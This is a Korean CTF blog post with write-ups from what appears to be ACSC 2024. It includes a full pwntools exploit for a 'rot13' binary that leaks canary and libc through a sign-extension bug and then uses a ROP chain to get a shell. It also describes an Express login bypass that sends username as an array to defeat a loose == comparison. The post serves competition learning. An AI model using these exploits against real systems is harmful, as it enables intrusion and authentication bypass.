[solved]
[pwn] rot13
더보기
#include <stdio.h>
#include <string.h>
#define ROT13_TABLE \
"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f" \
"\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f" \
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f" \
"\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f" \
"\x40\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x41\x42" \
"\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x5b\x5c\x5d\x5e\x5f" \
"\x60\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x61\x62" \
"\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x7b\x7c\x7d\x7e\x7f" \
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f" \
"\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f" \
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf" \
"\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf" \
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf" \
"\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf" \
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef" \
"\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
void rot13(const char *table, char *buf) {
printf("Result: ");
for (size_t i = 0; i < strlen(buf); i++)
putchar(table[buf[i]]);
putchar('\n');
}
int main() {
const char table[0x100] = ROT13_TABLE;
char buf[0x100];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
while (1) {
printf("Text: ");
memset(buf, 0, sizeof(buf));
if (scanf("%[^\n]%*c", buf) != 1)
return 0;
rot13(table, buf);
}
return 0;
}
bof 터지는 건 쉽게 알 수 있다.
문제는 정보를 어떻게 릭할 것인가 인데
중간에 어셈을 확인해보면
movsx 명령으로 1바이트를 8바이트로 확장하는 모습을 확인할 수 있다.
singed char이기 때문에 0x80~0xff까지는 음수로 확장된다.
이를 이용해서 pie, canary, libc를 릭할 수 있고 rop 페이로드를 작성하면 쉘을 얻을 수 있다.
from pwn import *
context.log_level = 'debug'
# p = process('./rot13')
p = remote('rot13.chal.2024.ctf.acsc.asia', 9999)
pay = b''
for i in range(0xff,0x80,-1):
pay += int.to_bytes(i,1,'little')
p.sendlineafter(b'Text:',pay)
p.recvuntil(b'Result: ')
pie = int.from_bytes(p.recvn(8),'big') - 0x58d
stack = int.from_bytes(p.recvn(8),'big') - 0x110
canary = int.from_bytes(p.recvn(8),'big')
for _ in range(9):
p.recvn(8)
libc = int.from_bytes(p.recvn(8),'big') - 0x21b780 # stdout
# pop_rdi = libc + 0x000000000002a3e5
pop_rsi = libc + 0x000000000002be51
pop_rdx = libc + 0x0000000000170337
system = libc + 0x50d70
og = libc + 0xebc88
print('[pie]',hex(pie))
print('[stack]',hex(stack))
print('[canary]',hex(canary))
print('[libc]',hex(libc))
pay = b'\x00'*0x108 + p64(canary) + p64(stack+0x100)
pay += p64(pop_rsi) + p64(0)
pay += p64(pop_rdx) + p64(0)
pay += p64(og)
p.sendlineafter(b'Text:',pay)
# gdb.attach(p)
# pause()
p.sendafter(b'Text:',b'\x0a')
p.interactive()
[web] Login!
더보기
const express = require('express');
const crypto = require('crypto');
const FLAG = process.env.FLAG || 'flag{this_is_a_fake_flag}';
const app = express();
app.use(express.urlencoded({ extended: true }));
const USER_DB = {
user: {
username: 'user',
password: crypto.randomBytes(32).toString('hex')
},
guest: {
username: 'guest',
password: 'guest'
}
};
app.get('/', (req, res) => {
res.send(`
<html><head><title>Login</title><link rel="stylesheet" href="https://cdn.simplecss.org/simple.min.css"></head>
<body>
<section>
<h1>Login</h1>
<form action="/login" method="post">
<input type="text" name="username" placeholder="Username" length="6" required>
<input type="password" name="password" placeholder="Password" required>
<button type="submit">Login</button>
</form>
</section>
</body></html>
`);
});
app.post('/login', (req, res) => {
const { username, password } = req.body;
if (username.length > 6) return res.send('Username is too long');
// console.log(USER_DB['user'].password);
console.log(typeof(username),typeof(password));
console.log(username,password);
const user = USER_DB[username];
if (user){
console.log(user,user.password);
} else {
console.log(user);
}
if (user && user.password == password) {
if (username === 'guest') {
res.send('Welcome, guest. You do not have permission to view the flag');
} else {
res.send(`Welcome, ${username}. Here is your flag: ${FLAG}`);
}
} else {
res.send('Invalid username or password');
}
});
app.listen(5000, () => {
console.log('Server is running on port 5000');
console.log(USER_DB['user'].password,typeof(USER_DB['user'].password));
});
string과 array의 비교에서
느슨한 비교(==)일 땐 true이고, 엄격한 비교(===)일 땐 false이다.
자료형까지 검사하는지 여부에 따라 달라지는 것이다.
https://snyk.io/blog/remediate-javascript-type-confusion-bypassed-input-validation/
따라서 burpsuite를 사용해서 username을 배열(username[])로 만들어주면 된다.
[hardware] An4lyz3_1t
[unsolved]
[pwn] fleeda
더보기
풀고 싶었는데 못 푼 문제..
(라업 나오면 도전해야지)
'CTF' 카테고리의 다른 글
AmateursCTF 2024 (1) | 2024.04.10 |
---|---|
[QWB CTF 2018] core (with write-up) (1) | 2024.04.04 |
Pearl CTF (0) | 2024.03.11 |
Shakti CTF 2024 (0) | 2024.03.10 |
osu!gaming CTF 2024 (0) | 2024.03.04 |